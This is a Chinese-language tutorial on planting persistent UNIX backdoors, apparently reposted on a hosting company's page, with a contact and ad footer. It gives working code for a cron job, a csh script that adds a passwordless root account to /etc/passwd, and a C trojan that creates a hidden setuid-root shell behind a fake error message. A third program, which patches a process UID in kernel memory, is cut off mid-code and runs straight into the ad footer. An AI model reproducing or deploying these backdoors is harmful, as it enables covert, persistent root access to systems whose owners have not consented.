創建UNIX后門(高級篇) (1)

    Crontab 程序對于系統管理員來說是非常有用的。Cron 服務用于計劃程序在特定時間(月、日、周、時、分)運行。如果你足夠聰明，就應該加以利用，使之為我們制造“后門”!通過 Cron 服務，你可以讓它在每天凌晨 2:00 (這個時候網管應該睡覺了吧。)運行后門程序，使你能夠輕易進入系統干你想干的事，并在網管起來之前退出系統。根用戶的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：

    (1) (2) (3) (4) (5) (6)

    0 0 * * 3 /usr/bin/updatedb

    1. 分鐘 (0-60)

    2. 小時 (0-23)

    3. 日 (1-31)

    4. 月 (1-12)

    5. 星期 (1-7)

    6. 所要運行的程序

    以上內容設置該程序于每星期三 0:0 運行。要在 cron 建立后門，只需在 /var/spool/crontab/root 中添加后門程序即可。例如該程序可以在每天檢查我們在 /etc/passwd 文件中增加了用戶帳號是否仍然有效。以下是程序示例：

    0 0 * * * /usr/bin/retract

    <++> backdoor/backdoor.sh

    #!/bin/csh

    set evilflag = (`grep eviluser /etc/passwd`)

    if($#evilflag == 0) then

    set linecount = `wc -l /etc/passwd`

    cd

    cp /etc/passwd ./temppass

    @ linecount[1] /= 2

    @ linecount[1] += 1

    split -$linecount[1] ./temppass

    echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa

    cat ./xab >> ./xaa

    mv ./xaa /etc/passwd

    chmod 644 /etc/passwd

    rm ./xa* ./temppass

    echo Done...

    else

    endif

    <-->

    [綜合]

    當然，我們可以編寫木馬程序，并把它放到 /bin 目錄下。當以特定命令行參數運行時將產生一個 suid shell。以下是程序示例：

    <++> backdoor/backdoor3.c

    #include

    #define pass "triad"

    #define BUFFERSIZE 6

    int main(argc, argv)

    int argc;

    char *argv[];{

    int i=0;

    if(argv[1]){

    if(!(strcmp(pass,argv[1]))){

    system("cp /bin/csh /bin/.swp121");

    system("chmod 4755 /bin/.swp121");

    system("chown root /bin/.swp121");

    system("chmod 4755 /bin/.swp121");

    }

    }

    printf("372f: Invalid control argument, unable to initialize. Retrying");

    for(;i<10;i++){

    fprintf(stderr,".");

    sleep(1);

    }

    printf("nAction aborted after 10 attempts.n");

    return(0);

    }

    <-->

    [變種]

    以下程序通過在內存中尋找你所運行程序的 UID，并將其改為 0，這樣你就有了一個 suid root shell 了。

    <++> backdoor/kmemthief.c

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #define pass "triad"

    struct user userpage;

    long address(), userlocation;

    int main(arg

億恩科技地址(ADD)：鄭州市黃河路129號天一大廈608室 郵編(ZIP)：450008 傳真(FAX)：0371-60123888
   聯系：億恩小凡
   QQ：89317007
   電話:0371-63322206

服務器租用/服務器托管中國五強！虛擬主機域名注冊頂級提供商！15年品質保障！--億恩科技[ENKJ.COM]